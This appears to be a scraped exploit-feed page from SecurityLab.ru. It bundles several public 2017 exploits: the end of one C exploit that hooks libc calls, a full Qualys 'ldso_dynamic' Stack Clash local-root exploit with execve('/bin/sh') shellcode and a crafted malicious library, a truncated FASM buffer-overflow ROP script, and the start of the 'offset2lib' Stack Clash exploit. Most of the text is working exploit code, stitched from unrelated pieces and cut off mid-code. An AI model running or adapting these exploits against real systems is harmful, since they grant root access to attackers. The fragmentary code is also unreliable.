pss->key = key; } #define RESET_KEY SIZE_MAX static void slowsort(void *aa, size_t n, size_t es, int (*cmp)(const void *, const void *), const size_t stack_size) { if (!aa) die(); if (n <= 0) die(); if (n >= SSIZE_MAX) die(); if (es <= 0) die(); if (es >= SSIZE_MAX) die(); if (!cmp) die(); #define SET_KEYS 4 #define STACK_FRAME_SIZE 176 const size_t pathological = stack_size / STACK_FRAME_SIZE * SET_KEYS; if (n < pathological) die(); size_t innocuous = n - pathological; char *pa, *pb, *pc, *pd, *pl, *pm, *pn; int cmp_result, swaptype; size_t d, r; char *a = aa; loop: SWAPINIT(a, es); if (innocuous) { if (n <= innocuous) die(); if (n - innocuous <= SET_KEYS) die(); if (n <= 40) die(); } if (n < 7) { for (pm = a; pm < a + n * es; pm += es) { set_key(pm, 1 + (pm - a) / es); } for (pm = (char *)a + es; pm < (char *) a + n * es; pm += es) for (pl = pm; pl > (char *) a && cmp(pl - es, pl) > 0; pl -= es) swap(pl, pl - es); return; } pm = (char *)a + (n / 2) * es; size_t set_keys = 0; if (n > 7) { pl = (char *)a; pn = (char *)a + (n - 1) * es; if (n > 40) { d = (n / 8) * es; if (innocuous) { set_key(pl, RESET_KEY); set_key(pl + d, RESET_KEY); set_key(pl + 2 * d, RESET_KEY); } pl = med3(pl, pl + d, pl + 2 * d, cmp); if (innocuous) set_key(pm - d, RESET_KEY); set_key(pm + 0, n - innocuous - 3); set_key(pm + d, n - innocuous - 2); pm = med3(pm - d, pm, pm + d, cmp); if (innocuous) set_key(pn - 2 * d, RESET_KEY); set_key(pn - d, n - innocuous - 1); set_key(pn - 0, n - innocuous - 0); pn = med3(pn - 2 * d, pn - d, pn, cmp); set_keys = SET_KEYS; } else { set_key(pm, n - 1); set_key(pn, n - 0); set_keys = 2; } pm = med3(pl, pm, pn, cmp); } else { set_key(pm, n - 0); set_keys = 1; } if (!set_keys) die(); swap(a, pm); if (innocuous) { if (a != aa) die(); slowsort_t * pss = aa; { const size_t key = pss->key; if (!key) die(); if (n <= 40) die(); if (set_keys != SET_KEYS) die(); if (key != n - innocuous - set_keys + 1) die(); } const slowsort_t * const end = pss + n; size_t i = 0; for (;; pss++) { if (pss >= end) { if (i != innocuous) die(); break; } if (!pss->key) { if (i < innocuous) { set_key(pss, n - i++); set_keys++; } } else if (pss->key == RESET_KEY) { pss->key = 0; } else { if (pss->key > n - innocuous) die(); } } } pa = pb = (char *)a + es; pc = pd = (char *)a + (n - 1) * es; for (;;) { while (pb <= pc && (cmp_result = cmp(pb, a)) <= 0) { if (cmp_result == 0) { swap(pa, pb); pa += es; } pb += es; } while (pb <= pc && (cmp_result = cmp(pc, a)) >= 0) { if (cmp_result == 0) { swap(pc, pd); pd -= es; } pc -= es; } if (pb > pc) break; swap(pb, pc); pb += es; pc -= es; } pn = (char *)a + n * es; r = MIN(pa - (char *)a, pb - pa); vecswap(a, pb - r, r); r = MIN(pd - pc, pn - pd - (ssize_t)es); vecswap(pb, pn - r, r); if ((pb - pa) / es != n - set_keys) die(); if ((pd - pc) / es != set_keys - 1) die(); if ((r = pb - pa) > es) { n = r / es; innocuous = 0; goto loop; } die(); } static int cmp_key(const void * const a, const void * const b) { const size_t __a_key = ((const slowsort_t *)a)->key; const size_t __b_key = ((const slowsort_t *)b)->key; const size_t a_key = __a_key != RESET_KEY ? __a_key : 0; const size_t b_key = __b_key != RESET_KEY ? __b_key : 0; if (a_key < b_key) return -1; if (a_key > b_key) return +1; return 0; } #define ATOI2(s) ((s) += 2, ((s)[-2] - '0') * 10 + ((s)[-1] - '0')) /* * Adapted from date(1) */ static time_t ttime(char *arg) { time_t now, then; struct tm *lt; int yearset; char *dot, *p; if (time(&now) == (time_t)-1 || (lt = localtime(&now)) == NULL) die(); /* Valid date format is [[CC]YY]MMDDhhmm[.SS] */ for (p = arg, dot = NULL; *p != '\0'; p++) { if (*p == '.' && dot == NULL) dot = p; else if (!isdigit((unsigned char)*p)) goto terr; } if (dot == NULL) lt->tm_sec = 0; else { *dot++ = '\0'; if (strlen(dot) != 2) goto terr; lt->tm_sec = ATOI2(dot); if (lt->tm_sec > 61) /* could be leap second */ goto terr; } yearset = 0; switch(strlen(arg)) { case 12: /* CCYYMMDDhhmm */ lt->tm_year = ATOI2(arg) * 100; lt->tm_year -= 1900; /* Convert to Unix time */ yearset = 1; /* FALLTHROUGH */ case 10: /* YYMMDDhhmm */ if (yearset) { yearset = ATOI2(arg); lt->tm_year += yearset; } else { yearset = ATOI2(arg); /* POSIX logic: [00,68]=>20xx, [69,99]=>19xx */ lt->tm_year = yearset; if (yearset < 69) lt->tm_year += 100; } /* FALLTHROUGH */ case 8: /* MMDDhhmm */ lt->tm_mon = ATOI2(arg); if (lt->tm_mon > 12 || lt->tm_mon == 0) goto terr; --lt->tm_mon; /* Convert from 01-12 to 00-11 */ lt->tm_mday = ATOI2(arg); if (lt->tm_mday > 31 || lt->tm_mday == 0) goto terr; lt->tm_hour = ATOI2(arg); if (lt->tm_hour > 23) goto terr; lt->tm_min = ATOI2(arg); if (lt->tm_min > 59) goto terr; break; default: goto terr; } lt->tm_isdst = -1; /* mktime will deduce DST. */ then = mktime(lt); if (then == (time_t)-1) { terr: die(); } if (then < now) die(); return (then); } static bool reading_jobs; void * reallocarray(void * const ptr, const size_t nmemb, const size_t size) { static void * (* real_reallocarray)(void *ptr, size_t nmemb, size_t size); if (!real_reallocarray) { real_reallocarray = dlsym(RTLD_NEXT, "reallocarray"); if (!real_reallocarray) die(); } if (ptr == NULL && nmemb == 2 + 4 && size == sizeof(struct atjob *)) { if (reading_jobs) die(); reading_jobs = true; } void * const new_ptr = real_reallocarray(ptr, nmemb, size); if (!new_ptr) die(); return new_ptr; } #define NUMJOBS (40<<20) static const size_t * get_jobkeys(void) { const size_t n = NUMJOBS; slowsort_t * const a = calloc(n, sizeof(slowsort_t)); write(STDERR_FILENO, "initializing jobkeys\n", 21); if (!a) die(); size_t i; for (i = 0; i < n; i++) { a[i].idx = i; } slowsort(a, n, sizeof(slowsort_t), cmp_key, 33<<20); size_t * const jobkeys = calloc(n, sizeof(*jobkeys)); write(STDERR_FILENO, "finalizing jobkeys\n", 19); if (!jobkeys) die(); for (i = 0; i < n; i++) { const size_t j = a[i].idx; const size_t k = a[i].key; if (j >= n) die(); if (k <= 0) die(); if (k > n) die(); if (jobkeys[j]) die(); jobkeys[j] = k; } free(a); return jobkeys; } static struct dirent dirent; struct dirent * readdir(DIR * const dirp) { static struct dirent * (* real_readdir)(DIR *dirp); if (!real_readdir) { real_readdir = dlsym(RTLD_NEXT, "readdir"); if (!real_readdir) die(); } if (!reading_jobs) { return real_readdir(dirp); } static size_t numjobs; if (numjobs >= NUMJOBS) { write(STDERR_FILENO, "sorting jobs\n", 13); return NULL; } static char arg[32]; char * cp = arg + sizeof(arg); *--cp = '\0'; { static const struct { uint32_t min; uint32_t max; } units[] = { { 0, 59 }, /* Second */ { 0, 59 }, /* Minute */ { 0, 23 }, /* Hour */ { 1, 28 }, /* Day */ { 1, 12 }, /* Month */ { 2038, 2099 } /* Year */ }; static const size_t * jobkeys; if (!jobkeys) { jobkeys = get_jobkeys(); if (!jobkeys) die(); write(STDERR_FILENO, "reading jobs\n", 13); } uint32_t timer = jobkeys[numjobs++]; if (timer > NUMJOBS) die(); if (timer <= 0) die(); static size_t percent = 10; if (numjobs == NUMJOBS / 100 * percent) { const char * const str = u64tostr(percent); const size_t len = strlen(str); write(STDERR_FILENO, str, len); write(STDERR_FILENO, "%\n", 2); percent += 10; } size_t i; for (i = 0; i < sizeof(units)/sizeof(*units); i++) { const uint32_t min = units[i].min; const uint32_t max = units[i].max; const uint32_t div = max - min + 1; const uint32_t u32 = min + timer % div; timer /= div; if (u32 < min) die(); if (u32 > max) die(); const char * const str = u64tostr(u32); const size_t len = strlen(str); if (cp <= arg) die(); if (cp - arg < (ssize_t)len) die(); cp -= len; memcpy(cp, str, len); if (len < 2) { if (cp <= arg) die(); *--cp = '0'; } if (!i) { if (cp <= arg) die(); *--cp = '.'; } } if (timer) die(); } if (strlen(cp) != 15) die(); const uint64_t timer = ttime(cp); strlcpy(dirent.d_name, u64tostr(timer), sizeof(dirent.d_name)); strlcat(dirent.d_name, ".x", sizeof(dirent.d_name)); return &dirent; } int fstatat(const int fd, const char * const path, struct stat * const sb, const int flag) { static int (* real_fstatat)(int fd, const char *path, struct stat *sb, int flag); if (!real_fstatat) { real_fstatat = dlsym(RTLD_NEXT, "fstatat"); if (!real_fstatat) die(); } if (!reading_jobs || flag != AT_SYMLINK_NOFOLLOW || strcmp(path, dirent.d_name) != 0) { return real_fstatat(fd, path, sb, flag); } memset(sb, 0, sizeof(*sb)); sb->st_mode = S_IFREG | S_IRUSR | S_IWUSR; static uid_t user_uid; if (!user_uid) { user_uid = getuid(); if (!user_uid) die(); } sb->st_uid = user_uid; return 0; }
Categories: Exploits

Linux - 'ldso_dynamic' Local Root Stack Clash Exploit

SecurityLab.ru - Wed, 2017-06-28 23:57
/* * Linux_ldso_dynamic.c for CVE-2017-1000366, CVE-2017-1000371 * Copyright (C) 2017 Qualys, Inc. * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . */ #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define PAGESZ ((size_t)4096) #define ALIGN ((size_t)16) #define PIE_BASE ((uintptr_t)0x80000000) #define PIE_RAND ((size_t)1<<20) #define STACK_BASE ((uintptr_t)0xC0000000) #define STACK_RAND ((size_t)8<<20) #define MAX_ARG_STRLEN ((size_t)128<<10) static const struct target * target; static const struct target { const char * name; const char * repl_lib; } targets[] = { { .name = "Debian 9 (stretch)", .repl_lib = "lib/i386-linux-gnu", }, { .name = "Debian 10 (buster)", .repl_lib = "lib/i386-linux-gnu", }, { .name = "Ubuntu 14.04.5 (Trusty Tahr)", .repl_lib = "lib/i386-linux-gnu", }, { .name = "Ubuntu 16.04.2 (Xenial Xerus)", .repl_lib = "lib/i386-linux-gnu", }, { .name = "Ubuntu 17.04 (Zesty Zapus)", .repl_lib = "lib/i386-linux-gnu", }, { .name = "Fedora 23 (Server Edition)", .repl_lib = "lib", }, { .name = "Fedora 24 (Server Edition)", .repl_lib = "lib", }, { .name = "Fedora 25 (Server Edition)", .repl_lib = "lib", }, }; #define die() do { \ printf("died in %s: %u\n", __func__, __LINE__); \ exit(EXIT_FAILURE); \ } while (0) static const ElfW(auxv_t) * my_auxv; static unsigned long int my_getauxval (const unsigned long int type) { const ElfW(auxv_t) * p; if (!my_auxv) die(); for (p = my_auxv; p->a_type != AT_NULL; p++) if (p->a_type == type) return p->a_un.a_val; die(); } struct elf_info { uintptr_t map_start, map_end; uintptr_t dyn_start, dyn_end; }; static struct elf_info get_elf_info(const char * const binary) { static struct elf_info elf; const int fd = open(binary, O_RDONLY | O_NOFOLLOW); if (fd <= -1) die(); struct stat st; if (fstat(fd, &st)) die(); if (!S_ISREG(st.st_mode)) die(); if (st.st_size <= 0) die(); #define SAFESZ ((size_t)64<<20) if (st.st_size >= (ssize_t)SAFESZ) die(); const size_t size = st.st_size; uint8_t * const buf = malloc(size); if (!buf) die(); if (read(fd, buf, size) != (ssize_t)size) die(); if (close(fd)) die(); if (size <= sizeof(ElfW(Ehdr))) die(); const ElfW(Ehdr) * const ehdr = (const ElfW(Ehdr) *)buf; if (ehdr->e_ident[EI_MAG0] != ELFMAG0) die(); if (ehdr->e_ident[EI_MAG1] != ELFMAG1) die(); if (ehdr->e_ident[EI_MAG2] != ELFMAG2) die(); if (ehdr->e_ident[EI_MAG3] != ELFMAG3) die(); if (ehdr->e_ident[EI_CLASS] != ELFCLASS32) die(); if (ehdr->e_ident[EI_DATA] != ELFDATA2LSB) die(); if (ehdr->e_type != ET_DYN) die(); if (ehdr->e_machine != EM_386) die(); if (ehdr->e_version != EV_CURRENT) die(); if (ehdr->e_ehsize != sizeof(ElfW(Ehdr))) die(); if (ehdr->e_phentsize != sizeof(ElfW(Phdr))) die(); if (ehdr->e_shentsize != sizeof(ElfW(Shdr))) die(); if (ehdr->e_phoff <= 0 || ehdr->e_phoff >= size) die(); if (ehdr->e_shoff <= 0 || ehdr->e_shoff >= size) die(); if (ehdr->e_phnum > (size - ehdr->e_phoff) / sizeof(ElfW(Phdr))) die(); if (ehdr->e_shnum > (size - ehdr->e_shoff) / sizeof(ElfW(Shdr))) die(); unsigned int i; { int interp = 0; for (i = 0; i < ehdr->e_phnum; i++) { const ElfW(Phdr) * const phdr = (const ElfW(Phdr) *)(buf + ehdr->e_phoff) + i; if (phdr->p_type == PT_INTERP) interp = 1; if (phdr->p_type != PT_LOAD) continue; if (elf.map_start) die(); if (phdr->p_offset >= size) die(); if (phdr->p_filesz > size - phdr->p_offset) die(); if (phdr->p_filesz > phdr->p_memsz) die(); if (phdr->p_vaddr != phdr->p_paddr) die(); if (phdr->p_vaddr >= SAFESZ) die(); if (phdr->p_memsz >= SAFESZ) die(); if (phdr->p_memsz <= 0) die(); if (phdr->p_align != PAGESZ) die(); switch (phdr->p_flags) { case PF_R | PF_X: if (phdr->p_vaddr) die(); break; case PF_R | PF_W: elf.map_start = phdr->p_vaddr & ~(PAGESZ-1); elf.map_end = (phdr->p_vaddr + phdr->p_memsz + PAGESZ-1) & ~(PAGESZ-1); if (!elf.map_start) die(); break; default: die(); } } if (!interp) die(); if (!elf.map_start) die(); } for (i = 0; i < ehdr->e_shnum; i++) { const ElfW(Shdr) * const shdr = (const ElfW(Shdr) *)(buf + ehdr->e_shoff) + i; if (!(shdr->sh_flags & SHF_ALLOC)) continue; if (shdr->sh_size <= 0) die(); if (shdr->sh_size >= SAFESZ) die(); if (shdr->sh_addr >= SAFESZ) die(); #undef SAFESZ const uintptr_t start = shdr->sh_addr; const uintptr_t end = start + shdr->sh_size; if (!(shdr->sh_flags & SHF_WRITE)) { if (start < elf.map_end && end > elf.map_start) die(); continue; } if (start < elf.map_start || end > elf.map_end) die(); if (shdr->sh_type != SHT_DYNAMIC) continue; if (shdr->sh_entsize != sizeof(ElfW(Dyn))) die(); if (elf.dyn_start) die(); elf.dyn_start = start; elf.dyn_end = end; if (!elf.dyn_start) die(); } if (!elf.dyn_start) die(); free(buf); return elf; } static void create_needed_lib(const char * const needed) { static struct lib { union { struct { ElfW(Ehdr) e; ElfW(Phdr) p1; ElfW(Phdr) p2; ElfW(Phdr) p3; } h; char align[PAGESZ]; } u; char code1[PAGESZ]; char code3[PAGESZ]; char code2[8<<20]; } lib = { .u = { .h = { .e = { .e_ident = { ELFMAG0, ELFMAG1, ELFMAG2, ELFMAG3, ELFCLASS32, ELFDATA2LSB, EV_CURRENT, ELFOSABI_SYSV, 0 }, .e_type = ET_DYN, .e_machine = EM_386, .e_version = EV_CURRENT, .e_phoff = offsetof(struct lib, u.h.p1), .e_ehsize = sizeof(ElfW(Ehdr)), .e_phentsize = sizeof(ElfW(Phdr)), .e_phnum = 3 }, .p1 = { .p_type = PT_LOAD, .p_offset = offsetof(struct lib, code1), .p_vaddr = 0, .p_filesz = sizeof(lib.code1), .p_memsz = sizeof(lib.code1), .p_flags = PF_R | PF_X, .p_align = PAGESZ }, .p2 = { .p_type = PT_LOAD, .p_offset = offsetof(struct lib, code2), .p_vaddr = -(sizeof(lib.code2) + PAGESZ), .p_filesz = sizeof(lib.code2), .p_memsz = sizeof(lib.code2), .p_flags = PF_R | PF_X, .p_align = PAGESZ }, .p3 = { .p_type = PT_LOAD, .p_offset = offsetof(struct lib, code3), .p_vaddr = sizeof(lib.code1), .p_filesz = sizeof(lib.code3), .p_memsz = sizeof(lib.code3), .p_flags = PF_R | PF_X, .p_align = PAGESZ } }}}; static const char shellcode[] = "\x83\xc4\x40\xb8\x17\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xb8" "\x2e\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xb8\x3f\x00\x00\x00" "\xbb\x00\x00\x00\x00\xb9\x01\x00\x00\x00\xcd\x80\xb8\x3f\x00\x00" "\x00\xbb\x00\x00\x00\x00\xb9\x02\x00\x00\x00\xcd\x80\xb8\x0b\x00" "\x00\x00\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\xba\x00" "\x00\x00\x00\x52\x53\x89\xe1\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00" "\x00\x00\x00\xcd\x80"; memset(lib.code2, 0x90, sizeof(lib.code2)); if (sizeof(lib.code2) <= sizeof(shellcode)) die(); memcpy(lib.code2 + sizeof(lib.code2) - sizeof(shellcode), shellcode, sizeof(shellcode)); const int fd = open(needed, O_WRONLY | O_CREAT | O_TRUNC | O_NOFOLLOW, 0); if (fd <= -1) die(); if (write(fd, &lib, sizeof(lib)) != (ssize_t)sizeof(lib)) die(); if (fchmod(fd, 0755)) die(); if (close(fd)) die(); } static const char my_x86_platforms[4][5] = { "i386", "i486", "i586", "i686" }; int main(const int my_argc, const char * const my_argv[], const char * const my_envp[]) { { const char * const * p = my_envp; while (*p++) ; my_auxv = (const void *)p; } if (my_getauxval(AT_PAGESZ) != PAGESZ) die(); if (my_argc != 1+2) { printf("Usage: %s target binary\n", my_argv[0]); size_t i; for (i = 0; i < sizeof(targets)/sizeof(*targets); i++) { printf("Target %zu %s\n", i, targets[i].name); } die(); } { const size_t i = strtoul(my_argv[1], NULL, 10); if (i >= sizeof(targets)/sizeof(*targets)) die(); target = targets + i; printf("Target %zu %s\n", i, target->name); } const char * const binary = realpath(my_argv[2], NULL); if (!binary) die(); if (*binary != '/') die(); if (access(binary, R_OK | X_OK)) die(); const struct elf_info elf = get_elf_info(binary); printf("map_start -> dyn_end = %u\n", elf.dyn_end - elf.map_start); printf("dyn_start -> dyn_end = %u\n", elf.dyn_end - elf.dyn_start); printf("dyn_start -> map_end = %u\n", elf.map_end - elf.dyn_start); printf("dyn_end -> map_end = %u\n", elf.map_end - elf.dyn_end); const char * const slash = strrchr(binary, '/'); if (!slash) die(); if (slash <= binary) die(); const char * const origin = strndup(binary, slash - binary); if (!origin) die(); printf("origin %s (%zu)\n", origin, strlen(origin)); const char * const platform = (const void *)my_getauxval(AT_PLATFORM); if (!platform) die(); const size_t platform_len = strlen(platform); if (platform_len != 4) die(); { size_t i; for (i = 0; ; i++) { if (i >= sizeof(my_x86_platforms) / sizeof(my_x86_platforms[0])) die(); if (strcmp(platform, my_x86_platforms[i]) == 0) break; } } const struct { const char * str; size_t len; size_t repl_len; } DSTs[] = { #define DST_LIB "LIB" { DST_LIB, strlen(DST_LIB), strlen(target->repl_lib) }, #define DST_PLATFORM "PLATFORM" { DST_PLATFORM, strlen(DST_PLATFORM), platform_len } }; size_t repl_max = strlen(origin); { size_t i; for (i = 0; i < sizeof(DSTs)/sizeof(*DSTs); i++) { if (repl_max < DSTs[i].repl_len) repl_max = DSTs[i].repl_len; } } printf("repl_max %zu\n", repl_max); if (repl_max < 4) die(); static struct { double probability; size_t len, gwr, cnt, dst; } best; #define LLP "LD_LIBRARY_PATH=" static char llp[MAX_ARG_STRLEN]; #define MAX_GWR (sizeof(llp) - sizeof(LLP)) { size_t len; for (len = MAX_GWR; len >= ALIGN; len -= ALIGN) { size_t gwr; for (gwr = len; gwr >= elf.dyn_end - elf.dyn_start; gwr--) { size_t dst; for (dst = 0; dst < sizeof(DSTs)/sizeof(*DSTs); dst++) { const size_t cnt = (len - gwr) / (1 + DSTs[dst].len + 1); const size_t gpj = (len + ((repl_max > 4) ? (cnt * (repl_max - 4)) : 0) + 1 + (ALIGN-1)) & ~(ALIGN-1); const size_t bwr = cnt * (DSTs[dst].repl_len + 1) + ((len - gwr) - cnt * (1 + DSTs[dst].len + 1)) + 1; if (gwr + bwr >= elf.map_end - elf.dyn_start) continue; const size_t min = MIN(gwr, elf.dyn_end - elf.map_start); if (gpj <= min + (elf.map_end - elf.dyn_end) + 3 * PAGESZ) continue; const double probability = (double)min / (double)(PIE_RAND + STACK_RAND); if (best.probability < probability) { best.probability = probability; best.len = len; best.gwr = gwr; best.cnt = cnt; best.dst = dst; printf("len %zu gpj %zu gwr %zu bwr %zu cnt %zu dst %zu repl %zu probability 1/%zu (%.10g)\n", len, gpj, gwr, bwr, cnt, DSTs[dst].len, DSTs[dst].repl_len, (size_t)(1 / probability), probability); } } } } } if (!best.probability) die(); if (STACK_BASE <= PIE_BASE) die(); const size_t stack_size = (STACK_BASE - PIE_BASE) - (PIE_RAND/2 + elf.map_end + STACK_RAND/2); printf("stack_size %zu\n", stack_size); #define STRTAB_SIZE (2 * STACK_RAND) #define NEEDED "./3456789abcdef" if (sizeof(NEEDED) != ALIGN) die(); static union { uintptr_t p; char s[sizeof(void *)]; } strtab_addr; { static const ElfW(Dyn) dyn; if (sizeof(strtab_addr) != sizeof(dyn.d_un)) die(); if (sizeof(strtab_addr.p) != sizeof(dyn.d_un)) die(); if (sizeof(strtab_addr.s) != sizeof(dyn.d_un)) die(); } { uintptr_t needed_addr = STACK_BASE - STACK_RAND/2 - STRTAB_SIZE/2; const uintptr_t first_needed_addr = needed_addr; for (;; needed_addr += sizeof(NEEDED)) { if (needed_addr % sizeof(NEEDED)) die(); strtab_addr.p = needed_addr / 2; size_t i; for (i = 0; i < sizeof(strtab_addr.s); i++) { if (strchr("$:;\\", strtab_addr.s[i])) { if (i >= 3) die(); break; } } if (i >= sizeof(strtab_addr.s)) break; } printf("needed %08x -> %08x (first %08x -> %08x)\n", needed_addr, strtab_addr.p, first_needed_addr, needed_addr - first_needed_addr); if (needed_addr < first_needed_addr) die(); if (needed_addr - first_needed_addr >= STACK_RAND / 4) die(); } #define INITIAL_STACK_EXPANSION (131072UL) const size_t needed_envs = STRTAB_SIZE / sizeof(NEEDED); if (needed_envs < INITIAL_STACK_EXPANSION / sizeof(char *)) die(); static char clash[MAX_ARG_STRLEN]; memset(clash, ' ', sizeof(clash)-1); if ((strlen(clash) + 1) % ALIGN) die(); const size_t clash_envs = (stack_size - sizeof(llp) - needed_envs * (sizeof(char *) + sizeof(NEEDED))) / (sizeof(char *) + sizeof(clash)); printf("#needed %zu #clash %zu\n", needed_envs, clash_envs); { char * cp = mempcpy(llp, LLP, sizeof(LLP)-1); memset(cp, '/', best.len); const char * const bwrp = cp + best.gwr; cp += elf.dyn_start % ALIGN; if (cp >= bwrp) die(); { static const ElfW(Dyn) dyn; for (; bwrp - cp >= (ptrdiff_t)sizeof(dyn); cp += sizeof(dyn)) { ElfW(Dyn) * const dynp = (void *)cp; dynp->d_tag = DT_AUXILIARY; dynp->d_un.d_ptr = strtab_addr.p; } } if (cp > bwrp) die(); cp = (char *)bwrp; if (!best.cnt) die(); if (best.dst >= sizeof(DSTs)/sizeof(*DSTs)) die(); size_t i; for (i = 0; i < best.cnt; i++) { *cp++ = '$'; cp = mempcpy(cp, DSTs[best.dst].str, DSTs[best.dst].len); *cp++ = '/'; } if (cp >= llp + sizeof(llp)) die(); if ((strlen(llp) + 1) % ALIGN) die(); if ((strlen(llp) + 1) != sizeof(LLP) + best.len) die(); } #define LHCM "LD_HWCAP_MASK=" static char lhcm[64]; { const int width = ALIGN - (sizeof(LHCM) + strlen(binary) + 1 + sizeof(void *)) % ALIGN; if (width <= 0) die(); if ((unsigned int)width > ALIGN) die(); if ((unsigned int)snprintf(lhcm, sizeof(lhcm), "%s%0*u", LHCM, width, 0) >= sizeof(lhcm)) die(); if (strlen(lhcm) + 1 != sizeof(LHCM) + width) die(); } const size_t args = 2 + clash_envs + needed_envs + 1; char ** const argv = calloc(args, sizeof(char *)); if (!argv) die(); { char ** ap = argv; *ap++ = (char *)binary; *ap++ = "--help"; size_t i; for (i = 0; i < clash_envs; i++) { *ap++ = clash; } for (i = 0; i < needed_envs; i++) { *ap++ = NEEDED; } *ap++ = NULL; if (ap != argv + args) die(); } const size_t envs = 1 + 2; char ** const envp = calloc(envs, sizeof(char *)); if (!envp) die(); { char ** ep = envp; *ep++ = llp; *ep++ = lhcm; *ep++ = NULL; if (ep != envp + envs) die(); } { static const struct rlimit rlimit_stack = { RLIM_INFINITY, RLIM_INFINITY }; if (setrlimit(RLIMIT_STACK, &rlimit_stack)) die(); } int pipefd[2]; if (pipe(pipefd)) die(); if (close(pipefd[0])) die(); pipefd[0] = -1; if (signal(SIGPIPE, SIG_DFL) == SIG_ERR) die(); create_needed_lib(NEEDED); size_t try; for (try = 1; try <= 65536; try++) { if (fflush(stdout)) die(); const pid_t pid = fork(); if (pid <= -1) die(); if (pid == 0) { if (dup2(pipefd[1], 1) != 1) die(); if (dup2(pipefd[1], 2) != 2) die(); execve(*argv, argv, envp); die(); } int status = 0; struct timeval start, stop, diff; if (gettimeofday(&start, NULL)) die(); if (waitpid(pid, &status, WUNTRACED) != pid) die(); if (gettimeofday(&stop, NULL)) die(); timersub(&stop, &start, &diff); printf("try %zu %ld.%06ld ", try, diff.tv_sec, diff.tv_usec); if (WIFSIGNALED(status)) { printf("signal %d\n", WTERMSIG(status)); switch (WTERMSIG(status)) { case SIGPIPE: case SIGSEGV: case SIGBUS: break; default: die(); } } else if (WIFEXITED(status)) { printf("exited %d\n", WEXITSTATUS(status)); } else if (WIFSTOPPED(status)) { printf("stopped %d\n", WSTOPSIG(status)); die(); } else { printf("unknown %d\n", status); die(); } } die(); }
Categories: Exploits

Flat Assembler 1.7.21 - Buffer Overflow

SecurityLab.ru - Wed, 2017-06-28 23:56
#!/usr/bin/python # Developed using Exploit Pack - http://exploitpack.com - # # Exploit Author: Juan Sacco at KPN Red Team - http://www.kpn.com # Tested on: GNU/Linux - Kali 2017.1 Release # # What is FASM? # Flat assembler is a fast, self-compilable assembly language compiler for the # x86 and x86-64 architecture processors, which does multiple passes to optimize # the size of generated machine code. # # Impact: FASM ( Flat Assembler ) 1.7.21 and prior is prone to a stack-based buffer overflow # vulnerability because the application fails to perform adequate # boundary-checks on user-supplied input. # # An attacker could exploit this vulnerability to execute arbitrary code in the # context of the application. Failed exploit attempts will result in a # denial-of-service condition. # # Version: 1.71.21 # Architecture: i386 # Download here: http://ba.mirror.garr.it/mirrors/slitaz/sources/packages-cooking/f/fasm-1.71.21.tgz # # Vendor homepage: http://www.flatassembler.net` # import os,subprocess from struct import pack # EIP found at offset: 5895 # Entry point: 0x8048d68 # Canary: off # Fortify: off # NX: Enabled # PIE: off # Relro: Partial junk = 'A' * 5895 execve_rop += pack('
Categories: Exploits

Linux - 'offset2lib' Stack Clash Exploit

SecurityLab.ru - Wed, 2017-06-28 23:56
/* * Linux_offset2lib.c for CVE-2017-1000370 and CVE-2017-1000371 * Copyright (C) 2017 Qualys, Inc. * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . */ #include #include #include #include #include #include #include #include #include #include #include #include #define die() do { \ fprintf(stderr, "died in %s: %u\n", __func__, __LINE__); \ exit(EXIT_FAILURE); \ } while (0) #define MAX_STACK_SIZE ((size_t)1<<30) #define MAX_ARG_STRLEN ((size_t)128<<10) #define MIN_ARGC 1024 static void analyze_mappings(const char * const binary) { if (!binary) die(); if (strchr(binary, ' ')) die(); int rval = EXIT_FAILURE; int dump = 0; const int fd = open("/proc/self/maps", O_RDONLY); if (fd <= -1) die(); static char buf[4096] = " "; char * cp = buf; for (;;) { if (cp >= buf + sizeof(buf)) die(); const ssize_t nr = read(fd, cp, buf + sizeof(buf) - cp); if (nr <= 0) { if (nr == 0) break; if (nr != -1) die(); if (errno != EAGAIN && errno != EINTR) die(); continue; } cp += nr; } *cp = '\0'; if (memchr(buf, '\0', sizeof(buf)) != cp) die(); size_t hi_bin = 0; size_t lo_lib = 0; size_t lo_heap = 0; size_t lo_stack = 0; const char * line = buf; for (;;) { char * const nl = strchr(line, '\n'); if (!nl) die(); *nl = '\0'; cp = NULL; const size_t lo = strtoul(line, &cp, 16); if (cp <= line || *cp != '-') die(); if (lo <= 0) die(); line = cp + 1; cp = NULL; const size_t hi = strtoul(line, &cp, 16); if (cp <= line || *cp != ' ') die(); if (hi <= lo) die(); cp = strrchr(cp + 1, ' '); if (!cp) die(); cp++; if (!strcmp(cp, binary)) { hi_bin = hi; if (lo == 0x08048000) { fprintf(stderr, "Please recompile with -fpie -pie\n"); die(); } } else if (!strcmp(cp, "[heap]")) { if (!lo_heap) lo_heap = lo; else { if (lo_stack) die(); lo_stack = lo; dump = 1; } } else if (!strcmp(cp, "[stack]")) { if (!lo_stack) lo_stack = lo; else { die(); } } else if (*cp == '/') { if (!lo_lib) lo_lib = lo; } *nl = '\n'; line = nl + 1; if (*line == '\0') break; } if (!hi_bin) die(); if (!lo_lib) die(); if (!lo_stack) { if (!lo_heap) die(); lo_stack = lo_heap; lo_heap = 0; } if (hi_bin <= lo_lib && lo_lib - hi_bin <= 4096) { fprintf(stderr, "CVE-2017-1000370 triggered\n"); rval = EXIT_SUCCESS; dump = 1; } if (hi_bin <= lo_stack && lo_stack - hi_bin <= 4096) { fprintf(stderr, "CVE-2017-1000371 triggered\n"); rval = EXIT_SUCCESS; dump = 1; } if (dump) { const ssize_t len = strlen(buf); if (len <= 0) die(); if (write(STDERR_FILENO, buf, len) != len) die(); } if (close(fd)) die(); exit(rval); } int main(const int 